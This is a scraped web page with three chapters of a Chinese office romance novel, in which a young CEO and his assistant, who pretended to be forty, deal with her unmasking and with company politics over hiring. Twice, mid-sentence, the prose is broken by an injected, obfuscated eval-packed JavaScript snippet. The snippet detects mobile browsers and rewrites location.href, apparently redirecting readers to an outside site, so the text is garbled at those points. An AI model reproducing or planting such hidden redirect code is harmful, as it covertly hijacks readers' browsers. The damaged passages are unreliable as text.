魏如栩面沉似水,看了廖玄一眼,拿起自己本子和笔,一手抄着口袋一言不发地走出了会议室。 顾妙着急忙慌一路小跑跟在他后面,鞋跟急促地敲击着地面,走廊里传来了清晰的“哒哒哒哒”的脚步声。 23. 第二十三章 半透明马甲 车翔一边看向走廊,一边走进会议室,看见廖玄铁青的脸色,小心翼翼地问:“这是怎么了?” “不知天高地厚的崽子。”廖玄冷冷地说,“就是个扫把星,难怪当年害死他妈!他说的也没错,老魏就是太保守,牵着不走打着倒退,公司发展慢,资质不行,大客户能看上我们吗?现在倒赖到我头上了!” 车翔叹了口气:“咱们客户部真是受夹板气!” 廖玄冷笑:“这个混世魔王年纪轻轻狗屁不懂,不说好好跟着学学,还敢在我跟前摆谱,就冲他那德性,公司早晚散摊子!” “老魏总这父子俩确实让人头大……”车翔有点郁闷,“要是您来当这个总经理,公司肯定发展得又快又好。” 廖玄瞟了他一眼,又从烟盒抽出一根烟叼在嘴上,车翔很有眼力见地从自己口袋里掏出打火机给他点着。 “你可别说这种话,当年是人家老魏自己拼出来的,我不过是半道儿才加入公司,怎么敢越俎代庖。” 车翔不同意,认真地说:“这是现代化公司,又不是传统家族生意,本来就该谁行谁上。” “可惜不是所有人都懂这个道理。”廖玄喷出口烟雾,叹了口气,“老子也不稀罕抢人家的东西,干不下去就走人,属于我的我也不会放手。哼,没事儿跟这熊孩子较什么劲,我又没有当保姆的瘾。” 魏如栩这次发火并不是装的,他确实如自己所说,脾气并不好,只是家教好,平时都很有礼貌,惯于克制自己的脾气,甚至一旦没克制住发了火,他心里还会更气自己怎么又失控。 但他也不知道为什么,只要一见到廖玄那副全天下就属他最牛的模样,就打心眼儿里冒火。 刚刚诋毁父亲的话,是他违心说出口的。 生意哪有这么好做,嘉栩确实还不算是本土4A,但他爸当年从国企辞职,没资源没人脉,自己一个人白手起家,为人又有点保守,十多年干到这个成绩,已经算是很不错了。 而且话又说回来,谁都可以说他爸,但唯独他没有资格。 他只是想狠狠羞辱廖玄,可公司毕竟是老爸在管,只好捎带手一锅烩了。 昨天他自己也感受了一把拉客户的难处,也知道只是站在水边试了试水温,就觉得连嘴都张不开,何况客户部那帮人的日常比这还刀光剑影、忍辱负重。 所谓钱难挣屎难吃,他知道这有多难,还故意把廖玄贬的一文不值,这才能真正激怒他。 因此他也觉得这话说得有点过,不符合他向来为人处世的原则,此刻心里窝火加内疚,从会议室到他办公室,短短几米的距离,他努力在调整情绪。 也不知道来找他的是谁,不管怎样他也不能丢公司的脸。 “我最近没跟客户有来往,谁来找我?”魏如栩边走边疑惑地问,没等到顾妙的回答,他们已经到了办公室。 顾妙办公区的沙发上没有人,他进了里间自己的办公室,也没看见人影,魏如栩站在隔断那半扇门门口,疑惑地看着刚刚关上办公室大门、战战兢兢的顾妙。 之前魏如栩和廖玄要私聊,顾妙也打算回办公室,但没走几步便被车翔叫住了。 车翔见刚才会上顾妙也一直在做记录,就想要她的那一份来跟自己的综合一下。顾妙表示回去整理一下发给他,两人就随口聊了两句。 然后就听见了会议室传来的争吵声,尤其是廖玄关于她的那几句质问。 顾妙着实有点尴尬,她也知道自己进公司名不正言不顺,并且在她一顿猛如虎的操作下,现在公司关于她的谣言已经满天飞。 可她并没想到可能会跟魏如栩传什么“绯闻”,毕竟她的人设年龄在40岁——这一点同事们虽然不知道,可大约根据她的穿着打扮能猜得出来。 直到刚刚廖玄提到这一点,她顿时才意识到还会有这种可能性,想到这几天同事们看她的那些怪怪的眼神,仿佛一切都解释得通了。 车翔工作了好多年,自然知道工作场合堪比八卦集中营,什么破事都可能有,平时大家加班加点累得不行,就靠着这点八卦刺激神经呢。 他很坦然地装作什么都没听见,跟顾妙打了个招呼就走了。 顾妙心事重重地回到工位放下电脑,想来想去都不放心魏如栩,两只脚不听使唤地带着她去了会议室门口,正好听见魏如栩讥讽廖玄拉不回大客户那一句,顿时心惊肉跳。 魏如栩这整天文文静静的,竟也能这么大放厥词?看来真是气昏头了! 顾妙旁观者清,担心魏如栩再这么说下去,即便他不咬人,廖玄也得咬人了。 被小鲜肉咬一口,廖玄死不了,要是被这千年老妖咬一口,魏如栩这细皮嫩肉的可受不了。 于是顾妙赶紧装着不懂事冲进来,编了个理由把他拉走。 只是此刻,魏如栩因为刚刚没能控制住自己的脾气而失了姿态,本来就各种气不顺,现在还发现自己被自己人、还是刚刚在廖玄面前维护的自己人给摆了一道,脸上的表情相当精彩。 他把手里的本子和笔往沙发上一扔,走到门口面色苍白的顾妙跟前,垂下头,眉尖微挑,眼神戏谑地看着她:“几个意思?” 顾妙赶紧解释:“抱歉魏总,我是怕你们吵得伤了和气,他毕竟老奸巨猾,万一……” “你听到了多少?” “我……我不是故意听的,也没听多少,就听见你们吵架了。”顾妙尴尬地说,“是我让你为难了,我一来没经过正式招聘就上岗,二来还不签合同,这要是被人说起来可能会给公司惹麻烦,要不然……” “要不然什么?你要走人吗?”魏如栩冷笑,“挺厉害啊,你们一个个都要替我做决定,我这个总经理算什么?花瓶还是吉祥物?” 顾妙顿时浑身汗毛一耸,要完,居然触到了这块逆鳞! “不不不不不……我不是那个意思……我……” 魏如栩深深地看着她,平素总是温柔含笑的眸子里闪过一丝寒意,令顾妙突然产生一种辜负了别人的内疚感。 “小魏总,是我心里有鬼!” 昨晚顾肖还建议她今天就跟魏如栩坦白,顾妙正担心今天有没有好的机会。然而现在她忽然觉得,就是因为一直要等合适的机会,才拖到现在,不如就按顾肖说的,早死早超生! 反正时机已经坏得不能再坏了,所以不如都交待了,让魏如栩自己去做决定。 “什么?”魏如栩不可置信地看着她。 听到门外传来员工来回经过的声音,顾妙想拉着魏如栩进他办公室去说,抬了抬手,又觉得似乎不太方便碰魏总那矜贵的手腕,尴尬地往里指了指:“去里边说行吗?” 魏如栩瞥了她一眼,迈开长腿进了办公室,坐在大班椅上,脖子靠着颈枕,仰着下巴,微眯着眼睛,摆出一种坐着也能居高临下的气势看向顾妙:“说吧。” 顾妙犹犹豫豫地看着他,转身把隔断那里把平时根本不用的推拉门也拉上了——那个门基本就是个摆设,可以阻断视线,却根本隔不了音。 “我其实不是四十岁,我……” 顾妙双手交叠放在身前,垂着头心虚地把怎么让魏如栩误会以及为什么没有解开这个误会的心路历程如实交待了。 魏如栩一直没出声,顾妙也看不见他的表情,惴惴不安地一边说一边干笑了几声:“大概就是这样,好像说出来也不是太难啊哈哈哈……要杀要剐悉听尊便,我绝没有半句怨言。” 她对面的人仍旧沉默,顾妙按捺不住,小心翼翼地抬头看,却撞上一双含着促狭笑意的眼睛。 魏如栩似乎有点忍俊不禁,嘴角微弯,勾起一丝笑容,意味深长地看着她。 顾妙:“……” 这个混蛋是不是早看出来了?! “笑什么?”顾妙恼羞成怒,反正大家是同龄人,她也不用假端庄,再说魏如栩之后是不是她老板还两说呢,于是她胆子也肥了,“你也耍我呢吧?早看出破绽来了是不是?!” 魏如栩是真忍不住笑了:“你忘了我是干什么的了?观察力能有那么差吗?当然早就感觉不对劲儿了。” 第一次相遇那天,酒吧灯光昏暗,顾妙又是一脸混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459400|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱的大浓妆,魏如栩当时也焦心机票和出差的事儿,的确没多想。 可是后来去开会的旅途上,顾妙在观察他,他自然也在观察顾妙。 他总觉得这个自称四十岁的大姐,说话做事都有一种同类的气息——明明不成熟还要假装成熟,明明不稳重非要加装稳重。 魏如栩自己就是这样的,自然对这个路数的味道格外敏感。 然而怀疑归怀疑,他也并没多想,一心只想着先把手头的事做好。 虽然那次交流会并不重要,可那算是他第一次代表公司,不管外界怎么看,他自己还是很慎重的。 “那你怎么不问我?”顾妙七窍生烟,莫名觉得这个乌龙事件拖了这么久,责任是双方的,要是魏如栩早早戳破,她何苦烦恼至今。 “问一位女性她的真实年龄?这也太不礼貌了。”魏如栩摊摊手,“这不是我的作风,何况我请你做我的助理,跟你年龄没什么关系。” 顾妙不太能理解他的逻辑:“同学你清醒一点,我既然不是四十岁,那就说明我没有你想要的工作经验啊!这才是重点好不好?!” “什么经验不经验的,其实我一点也不在乎,我也没经验,还不是赶鸭子上架。”魏如栩耸了耸肩,“经验说不定是种负累,尤其在广告这种急需创新和脑洞的行业。我觉得只要你学习能力够强,很快可以弥补经验不足的弱势。” “可是你当时让我做你助理的原因不就是以为我有管理经验吗?” “此一时彼一时,现在我不这么想了。” 顾妙:“……老板其实你是风象星座吧,怎么变幻莫测的?” 魏如栩站起身,走到顾妙面前,收起脸上玩闹的笑容,正色道:“不管闹了什么乌龙,我还是相信我的判断。人的本能反应是装不出来的,尤其是出差的时候,你以为有危险,突然挡在我跟前的那次。对了,昨晚在酒吧外面,帮我抢手机的那个人是不是你?” 话说到这儿,魏如栩瞬间就明白了,为什么昨晚看到酒吧那个戴着口罩的女调酒师的身影那么熟悉,而今天早上见到顾妙,为什么觉得哪里不对,这根本就是同一个人吧! 顾妙有点不好意思:“啊……那什么……抱歉啊……” “你路见不平,拔刀相助,有什么好道歉的?话说回来,你是练过的吧?难怪上次也反应那么快。”魏如栩笑道,“昨晚那身手,啧啧,真利索!看来我不仅招了个助理,还附赠了个保镖。” 顾妙有点懵:“不打算炒我?还有……你不生气?” “多大点事儿,为这个我就生气,那我还不得天天被气死。我相信你是一个尽职尽责、有正义感的好人,已经符合我对助理的基本要求了。而且我能理解,有时候给自己捏造人设,是自我保护的一种方式。现在你愿意对我说真话,我很欣慰。” 顾妙想起魏如栩说的人有很多面孔的那套理论,突然冒出来一个念头:“我对你实诚了,你呢?” 她现在觉得魏如栩像是一块闪闪发光的钻石,有无数个切面,虽然从每个角度看过去,都十分光彩照人——就比如现在,他一如既往地彬彬有礼、胸怀宽广,可总让人觉得怪怪的。 但她很快又释然了,说到底,两人并不熟,凭什么要求相互敞开心扉?就连自己,其实也不过是撕下表面伪装而已,并没有向他坦诚过什么。 有时候,人与人之间的关系很奇怪,看起来亲密无间,实际上咫尺天涯。 魏如栩还以为她没过去这个坎,仗着自己比她高,伸手按了按她的头顶,自己都没意识到,他对待顾妙态度转变得如此自然:“抱歉,我之前情绪不好,对你发火了。你也别多想,关于年龄经验这件事,就此翻篇儿吧。我知道你刚刚闯进会议室是为了救我,多谢。是我欠考虑,如果要全盘掌控公司,就至少要把客户紧紧抓在手里。目前我还得通过廖玄接触客户,就这么跟他翻脸太不明智。” 顾妙:“……” 早知道马甲是半透明的,而且这么好脱,她早就该从实招来了,竟然还背了这么久的心理包袱,真是自讨苦吃! 24. 第二十四章 正轨 魏如栩转身看向窗外,看着公路上川流不息的人群:“我本来不就是想组建一个年轻的团队嘛,这样岂不是更好。让廖玄那个老混蛋看看,他看不起的年轻人,也能做出了不起的事!” 顾妙腹诽:“还真想七个葫芦娃一起斗妖怪救爷爷呢?!谁是爷爷?老魏总?” “想什么呢?”魏如栩见顾妙沉思,竟然不接自己那句中二热血的话,就像老大说出金句没人捧臭脚一样孤独寂寞冷,“但你始终是骗了我,还占我便宜,害我叫了你这么久的姐,这事儿怎么算?” “你想怎么算?我工作都保住了……”顾妙想了想,犹犹豫豫地,“要不别给我那么高的工资了,我……我有点……嗯……之前也是一时糊涂……” “不好意思拿是吧?”魏如栩哈哈大笑,“我问过HR,你要知道总助的待遇本来就很高,这工资水平很正常。不过既然你有心理负担,我这个做老板的自然要给你减负——对了,这下你可以正常办入职了吧?” 顾妙干脆地说:“行!” “工资水平也不能太低,税后六千,毕竟你是我助理,不能太丢脸。”魏如栩正色道,“如果你觉得过意不去,就卖命给我干活,实在不行,可以每个月送我个礼物,价值你自己结合工作表现判断。觉得自己表现好,就可以买便宜的甚至不买。” “老板,恕我直言。”顾妙白了他一眼,闷闷地说,“你好像是个奇葩。” 魏如栩微微一笑:“我还有很多面呢,慢慢挖掘吧。” “我出去干活儿了。”顾妙懒得接他话茬,转身向外走去,虽然魏如栩依旧是她老板,但她决定在给予他基本尊重的同时,坦然做自己。 反正是同龄人,太拘泥于上下级关系,俩人都别扭。 “哎,对了,那天跟你一起在公交站的不是你儿子吧?” “是我弟……” “什么时候有空,帮我正式引荐一下。” 顾妙有种不祥的预感,回头看魏如栩:“你要干嘛?” “这么能屈能伸的人,必须要跟他交个朋友。”魏如栩紧紧绷出一副严肃的面孔,“说不定将来能为我所用。” 顾妙:“……” 有我给你卖命还不行,现在就惦记上我弟了? 顾妙送他两颗大大的白眼,转身拂袖而去。 掉马甲确实是件好事,顾妙无比欢乐,感觉找回了阔别许久的自己。 从此再也不用给自己化那么成熟的妆,穿老气衣服,她开心得简直要上天。看公司里的女孩子穿得也并没有太职业,她也就放心了,把自己衣柜好一通收拾,找出以前爱穿的森系衣服,回归她素面朝天的本色。 穿森系并不是因为她气质偏文艺,而是这类衣服向来宽松,穿起来够舒服。打工什么的本来就很累了,当然以舒适为第一标准。 与此同时,魏如栩似乎也不端着了,在她面前回归到了一个22岁青年应该有的样子。 他在她面前也不再是个假装温良的翩翩公子,可以像同龄人一样跟她随意开玩笑斗个嘴,接地气程度让顾妙简直怀疑自己之前确实瞎,竟然还觉得他什么“陌上人如玉,君子世无双”,这货在气人方面跟顾肖有一拼,果然混账玩意儿都一个尿性! 比如顾妙第一次以本来面目上班,魏如栩看了她的打扮,虽然努力端出老板的端庄劲儿,但还是没压住眼底那一丝吃惊。 顾妙挺得意:“怎么样,被我元气少女的气场镇住了吧?” “你想多了,”魏如栩眨了眨眼,“只是被你独特的审美情趣吓到了。麻烦问一下,你的搭配技巧跟谁学的?二十八星瓢虫?” 顾妙:“……” 要换了顾肖,她早就大爪子挠他个满脸花,可惜小魏总是她老板,她平时斗嘴互怼都没事,动手却是万万不敢的,只能用眼神表达愤怒。 魏如栩看到顾妙被他气得不行又拿他没办法的样子,心里乐开了花,于是他的日常除了吃饭睡觉之外还多了一样乐趣——逗顾妙。 为了尽快终止满天飞的谣言,顾妙麻溜地去HR办了入职手续。 填完表格,HR的人力资源主管吴穹诧异地看了她一眼,问道:“你才22?” “对啊?身份证和毕业证都在这儿呢。”顾妙表面平静,内心暗爽,心想让你们胡乱传谣言,打脸了吧! 消息很快不胫而走,小王见了顾妙,多少有点不爽,埋怨道:“你比我还小两岁呢,听我叫你姐,怎么也不说一声?” “我刚来,人生地不熟的就你一个朋友,怕乱说话惹你不高兴。”顾妙亲热地挽住小王的胳膊,“是我小人之心啦,别生我气,中午请你吃饭。” 小王也不傻,都是萍水相逢的同事,谁跟谁一上来就交心?人至察则无徒,一顿饭之后就此翻篇儿。 既然在嘉栩的工作保住了,顾妙自然也不再需要酒吧的兼职工作,于是她特意跑去跟老板辞了职。 好心的老板给她结了工资,还给她发了个大红包,祝她前程似锦。 铁打的酒吧,流水的服务员,这行流动性大,所以小刘也没有表现出特别的依依不舍,笑嘻嘻地说:“妙妙姐,你算是鲤鱼跳龙门啦,将来工作上有需要,可得常回家看看,照顾咱们酒吧生意啊!” 顾妙拍了拍他那硌人的肩膀,摆出一副大姐大的样子:“放心,没有需要也得创造需要,一定回来检验你们的手艺。你娃别对自己那么抠门,多吃点好东西,小心真不长个儿了!” 凌晏如和顾肖见她卸下心里大包袱,也替她高兴。 正赶上凌晏如在同一个小区里租了套一居室,顾肖帮她搬完家,三个人一起吃了顿饭,以示庆祝。 顾妙还是有点哀怨:“小姨,好好的干嘛多花那份钱?在家咱俩住不行吗?你要带人回家,提前跟我说声,我保证不碍事。” 凌晏如夹了块大排骨放进顾妙碗里:“你要我摆出长辈的架子来说,就是人与人之间相处要有一定的分寸感,生活上都要给彼此留空间,即便是亲戚也不能毫无底线。” 顾肖眼疾手快把排骨抢了过来:“小姨你别闹,我姐还要减肥呢。将来老坐办公室,容易长小肚子。” 顾妙没顾上踢他,问凌晏如:“不摆长辈架子呢?” “你该谈恋爱,我要焕发第二春,谁也别碍谁的事。”凌晏如一口喝干了杯子里的啤酒,豪气干云如同江湖女侠,完全不管自己这个母胎solo的外甥女脸已经绿得像韭菜。 “小姨,你的意思是,我姐可以往家领男人了是吗?”顾肖故意装出委屈巴巴的表情看向顾妙,“姐,不管你领谁回来,能让他别进我房间动我东西吗?” 顾肖求仁得仁地挨了迟来的一脚,心里顿时舒坦了。 日子总算踏上了正轨,顾妙也迎来了魏如栩交给她的第一个重大任务,面试新创意B组的候选人。 先是HR部门进行了简历初选,然后吴穹把筛剩下的四十份简历给了顾妙,让顾妙再从里面选出二十个人来。 顾妙看着这厚厚一沓简历,突然间犯了选择困难症。 她自己前一阵就卡在找工作环节上,河东河西位置变换如此之快,几乎一个弹指,自己就拥有了对人生杀予夺的权力,着实有点手抖。 于是她拿着简历进了魏如栩的办公室。 “魏总,这是HR初选过后的简历,让我们从里面再挑二十个人。你要不要看看?” 魏如栩对着电脑头也不抬:“不看了,我有点忙,你决定吧。” 顾妙心想,忙个屁,游戏的背景音我都听见了! 魏如栩虽然平时也玩游戏,但并不算太擅长。玩不好就很难坚持下去,所以他对网游兴趣不大。这游戏好像还挺考验手速,玩着玩着他就觉得自己胳膊上长的不是手,可能是鸭蹼。 目前他的角色正在被人爆锤,心情十分不美好,自然懒得搭理顾妙。 顾妙按捺不住好奇心,绕到魏如栩身边,一看屏幕:“天,你也太菜了吧!” “你行你上啊!在这废什么话!” “我上就我上,你起开!”顾妙看魏如栩一通操作弱如鸡,完全忍不了,伸手把他拨拉到一边。 魏如栩倒也没介意,起身让座,眼睛还紧紧盯着屏幕,看顾妙三下五除二,用一点残血解决了他打了好几次都没打过的boss,简直叹为观止。 魏如栩一拍顾妙的肩膀:“看不出来,你还挺有两下子!” 顾妙仰头看他,一脸嫌弃:“这还是新手村boss,一点都不难打,是你笨好吗?平时你不玩游戏?” “我这么日理万机,哪比得上你们网瘾少年闲得没事就操练一把,再说我不大玩这种 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“超市里二十块钱一大桶的那种。”顾妙陪着笑,“别嫌弃啊,之前有人说要送我马鞭草的洗发水,我这还等着呢。” 魏如栩:“……你这认错态度够别出心裁,还不忘跟我要债。” “我哪敢,借机转移话题而已。”顾妙嘿嘿一笑,收拾着刚才随手放在桌上的简历,“老板你先忙,我出去了……” “等等!”魏如栩喊住试图脚底抹油的顾妙,揉揉还有点疼的额头,“就这么走了?肇事逃逸?” 顾妙战战兢兢:“老板你额头买保险了吗?” 魏如栩:“少废话,你弟什么时候有空,我请他吃饭。” 顾妙:“……” 还惦记着我弟呢?!老板你不会……天哪我这是发现了什么大秘密?! 顾妙突然间脑子窜了台,不知道想到什么地方去了。 她以前也想过这个问题,像魏如栩这样一表人才的,怎么现在还是条单身狗?就算他不招别人,别人也会来招他,大好青年,大好年龄,不谈恋爱,好像很是浪费呀! 魏如栩见顾妙不说话,一脸诡异:“怎么了?” “那什么……”顾妙观察着魏如栩的表情,“我弟他,最近在追一个女孩……” “追得连出来吃饭的时间都没有?”魏如栩一脸懵逼,愣了几秒,他瞅见顾妙嘴角那一抹没来得及收回去的姨母笑,顿时明白了她眼神中的玩味,气得磨了磨牙,“你脑子里都是什么废料?我是让他教我打游戏!” 顾妙假装无辜,说话连珠炮似地:“……什么啊,你想哪去了。我的意思是他确实有点忙,而且马上要去学校报到,还要准备军训——对了老板你怎么突然迷上打游戏了?这是玩物丧志呀!” 魏如栩眯起眼来端详着她:“这几天,你的本性暴露得差不多了吧?还有别的层面吗?我好做个思想准备。” “人的潜力是无穷的。”顾妙冲他傻乐。 “跟顾肖约个时间,吃饭地点你定,安排好了放进我的行程里。”魏如栩绷着脸,指了指外面,简短地说,“滚出去干活。” 顾妙吐了吐舌头,扭头就走,一边走一边暗喜:“叫你前两天戏弄我,哼,这下轮到你了吧!” 魏如栩这会儿有点后悔,觉得自己招助理实在过于草率。 他其实也不是玩物丧志,只是上一次约见那些富二代朋友没做好准备,这次要约另外几个,听说他们正沉迷一款新的网游,为了到时候聊天能插上话,他打算先上手了解一下。 这么多年,魏如栩还从来没试过要巴结谁,投谁所好,这走起来觉得脚底下步步是钉子。 但用比较时尚的话来说,人总要走出自己的舒适圈不是? 其实廖玄说得也对,可能就是要成为自己原本讨厌的样子吧。 能自由自在做自己,是多么奢侈的想法呀! 顾妙不知道小魏总在想什么,她看着自己面前这一摞简历仍旧在发愁。 忽然间她灵机一动:“既然是招创意B组,创意部也得贡献力量吧!” 谁知创意部副总监喻真瞟了瞟顾妙手里的简历,皮笑肉不笑地说:“既然是小魏总要招人,HR也把简历直接递到你们总经理办公室了,我就不发表意见了。一切都听小魏总的。” 25. 第二十五章 第一课 顾妙来找喻真,一是觉得流程上应该用人部门参与意见,二是觉得在选人方面,38岁的喻真经验丰富,应该会做出最好筛选,于是她兴冲冲地跑了过来,没想到碰了这样一个软钉子。 她一下子愣在当场,不知道说什么好。 喻真也没搭理她,自顾自地看着文件。 顾妙走也不是,不走也不是,场面一度非常尴尬。 “呃,毕竟招的是创意部的人,我觉得……” 她犹豫了一会儿,磕磕巴巴说了这么句话,话还没说完,喻真就抬起头来,脸上挂着微笑,却没什么好意。 “你觉得?”喻真盯着她,“你来找我,是你的想法,还是小魏总的想法?” 此刻顾妙后悔得肠子都青了,听说这个女人不好惹,为什么自己还要巴巴地送上门来?! 我是不是做错了什么?为什么感觉好像给人送大礼了?这么做会不会给魏如栩带来什么麻烦? 顾妙向来输人不输阵,被人堵得话都说不出,仍旧调动起满脸胶原蛋白,挤出一副故弄玄虚的笑容,驴唇不对马嘴地客套说:“那您先忙,我先不打扰了。” 随后她匆忙对喻真一笑,逃跑似地从她办公室里溜了出来,险些跟对面的同事撞个正着。 等晚上顾妙下班回家,见凌晏如已经做好了饭,赶紧咨询过来人的意见。 “冲动是魔鬼啊年轻人。”凌晏如拿筷子敲了敲顾妙的脑袋,“但也不用多想,细究起来算是魏如栩的锅,你又自己撞上去,碰钉子纯属正常。” “怎么是他的锅?”顾妙仔细回忆过程,没觉得这事儿魏如栩办得哪里不对。 “按正常流程,招人需要用人部门提出申请,再由HR复核,最后到你们小魏总那里确认。”凌晏如一边吃一边说,眼皮都没抬,整个人显得懒洋洋的,“这次是他一心想成立什么年轻团队,没跟创意部打招呼对吧?直接让你通知HR了是吧——要说错你也有错,你当时就该先去找创意部,让他们按这个流程交申请。” 顾妙有点意外:“我以为总经理想招人,直接跟HR说不就行了……” 顾肖很没眼力见地插嘴:“姐,你是霸道总裁剧看多了吧?” 凌晏如:“流程上是这样,但也未必这么死板,所以我才说细究起来算是魏如栩的锅,再加上你俩都是职场小白,犯错那是一定的。再说你们初来乍到,也没搞清楚各部门人之间的关系和心理,也不了解他们的性格,保不齐就惹了谁。” “这都能得罪人?”顾妙诧异地睁大了眼,“哪这么多小心思?” “这得根据你们公司的具体情况具体分析。你不是说廖玄想夺权吗?上一次他对魏如栩随便裁人应该已经不满了。你现在又搞不清楚创意部跟谁坐在一条板凳上,招人的时候也没跟人打招呼,现在要干活筛简历才想起去找人家——你把他们当什么了?马仔吗?” 顾肖看顾妙脑子不好使,打心眼里觉得费劲:“换句你能听懂的话,小魏总越过创意部,直接通知HR招人,明眼人都看得出来皇上要培养自己的亲信,谁不开眼敢胡乱伸手?就算创意部跟廖玄关系一般,那也不愿惹祸上身。将来招了人好了坏了他们都能一推二五六,谁都不得罪。” 凌晏如:“你们HR也有点不地道,正常来讲筛简历是他们的工作,用不着你,他们偏偏又把简历递到你手上,显得过分谨慎了,不太合逻辑,感觉像故意的。” “故意什么?”此刻顾妙已经成了蚊香眼,她还在处理顾肖刚刚那段话,大脑基本处于过热死机的状态。 顾肖翻了个白眼:“为难你们呗!本来你们小魏总处境就尴尬,招你就没走流程,自己带人来,分明就没把HR放在眼里。本来这也没什么,人家的公司人家自己说了算,但现在看来做事儿这么恶心人,恐怕HR跟廖玄的关系不一般。” 顾妙觉得这货聒噪得很:“你又没在公司,你知道什么。” “嘁,不信算了。人性本质而已,不难推测。”顾肖讨好地看向凌晏如,“小姨,我说的难道不对吗?” 凌晏如摸摸顾肖的狗头:“太聪明了也不好。” “你说人性的本质是什么?”顾妙不服气,看到顾肖谄媚的模样更有点气不打一处来,很想在他脸上挠几下。 顾肖丹凤眼一挑,斜斜地看了顾妙一眼,目光刀片儿似的:“自私自利,睚眦必报。” 顾妙忽然悲从中来,记得她弟小时候挺喜庆的,不这样啊,是这几年她给他什么不好的影响了么? “好了姐,咱们人类饱读诗书,就是为了克服本性,不用为人类沮丧。”顾肖贱兮兮地笑道,“你不是顾大心吗?这点小事儿还能过不去?” “我倒没事,就怕给小魏总惹麻烦……”顾妙两眼发直,脑电波可能又溜达出太阳系了。 凌晏如:“你也别瞎操心,反正你们小魏总面前步步是坑,不差这一个。” 顾妙:“……” 有这么安慰人的么,小姨你是不是不爱我了? 凌晏如声称要回自己家创作,吃完饭就脚底抹油溜走了。 顾妙洗完澡,发现顾肖已经很自觉地洗完了碗,正在房间里打游戏。她这才想起魏如栩给她安排的任务。 “哎,狗不理,去学校报到之前,你还有空吗?” 顾肖头也没回,双眼聚精会神地盯着屏幕,双手一通忙活:“要给我举办欢送会?” “美得你!”顾妙擦着湿漉漉的头发走过去,靠在他的电脑桌旁,“我老板要约你。” 顾肖刚打死一个Boss,听到这话,把他的丹凤眼瞪成了胖鱼眼,诧异地望着顾妙,“姐,你什么时候干起这种生意来了?!” “生活不易,只能卖弟求荣了。”顾妙装出一脸苦相。 “感觉我活在《知音》里。”顾肖双手在空中一挥,声情并茂地,“万万没想到,年轻帅气的老板竟然向女员工提出这样的要求!” 顾妙把湿乎乎的干发巾抽在他肩膀上:“废话少说,哪天有空?” “到底要我干什么?我可提前说清楚,鄙人卖艺不卖……” 顾妙嫌弃地看了看他:“就你那身排骨,当垫子坐都嫌硌得慌,还能有什么更高级的用途?他让你教他打这游戏。” “他现在什么水平?”顾肖摆谱地皱了皱眉,“太菜我可教不了。” 顾妙想起魏如栩那弱鸡般的操作,脸上浮现起诡异的笑容:“我觉得你们两个一定会相处愉快的。” 顾肖疑惑地看着顾妙那意味不明的笑,眯了眯眼:“事出反常必有妖。我先看看行程表——哎,怎么又动手?!” 顾妙刚在他脑门上拍了一巴掌,接着灵活地撤了一步,躲过顾肖反击的一爪子:“呸,还行程表。这两天你随时待命,等我通知!” 第二天一上班,顾妙拿着那摞简历就去了HR,并把吴穹请了出来,表示有话想单独说。 她装得委屈巴巴,表示自己刚上班没多久,对筛选简历实在不擅长,这事儿还是交给专业的人来做。 吴穹刚想推辞,顾妙就红了眼圈:“吴穹哥,小魏总说了,面试的时候我在旁边参与一下就行,最后选谁还得你们和创意部来定。他说一切都按公司流程走。你要是不信,可以直接去问他。” 顾妙平时虽然是个硬核少女,但也是可爱挂的长相,这一梨花带雨,多少让人我见犹怜。 吴穹看她这副模样,也不好意思拒绝。 “可别这么说,你就代表小魏总,我还能信不过你吗?”吴穹叹了口气,结果顾妙手里的简历,“行吧,那等安排面试的时候我通知你。” “这次真是太谢谢你了,以后我工作上有什么问题,还得麻烦你多照顾。”顾妙立刻破涕为笑,笑得眼睛弯弯,像个可爱的瓷娃娃。 吴穹比她大几岁,虽然比较开朗,但也不是四处撩闲的性格,面对年轻漂亮的女孩子多少还会紧张,尤其跟顾妙也不熟,面对她这种忽晴忽暗的作风也是有点反应不过来。 他尴尬地点点头:“都是同事,能帮就帮,谈不上照顾。行了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459402|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我先忙去了。” 看着他匆匆离去的身影,顾妙心里感叹:“娘嘞,上个班还得会演戏,朕心甚累。” 见吴穹回来,眉宇间挂着深深的无奈,旁边的同事冲他一乐:“怎么样?” 吴穹把手里的简历往桌上重重一摔:“那丫头精得很。真是神仙打架,小鬼遭殃,咱们就底下跑腿的,被逼着去欺负个小姑娘,何苦来哉啊!” 顾妙一身轻松地回到工位,还没来得及坐下,魏如栩便一阵风似地进来,劈头就问:“昨天那些简历呢?” 听说顾妙原样送还HR,魏如栩松了口气。 刚刚他遇见喻真,聊了两句,对方假装不经意,不阴不阳地提了昨天顾妙去找她的事儿,一进公司就张开满身触角的小魏总顿时就明白,自己这事儿做得有失偏颇。 问题并不大,但恐怕会给廖玄制造下一次给他上课的机会。好在这次顾妙够机灵,成功地把对方踢过来的球又踢了回去。 魏如栩十分满意:“反应很快,不错。” 顾妙得意:“那当然!” 唔,有智囊团的事儿就不告诉他了。 “你去问下车翔,帮我跟廖玄约个时间,就说我想请他吃饭。” 顾妙冲他一乐:“刚刚正好见了车翔,拐弯抹角地打听了廖总的安排,他明晚应该有空,而你的时间表比真空还空,要是没有其他安排,我这就帮你定饭店。” 魏如栩愕然:“你怎么……” 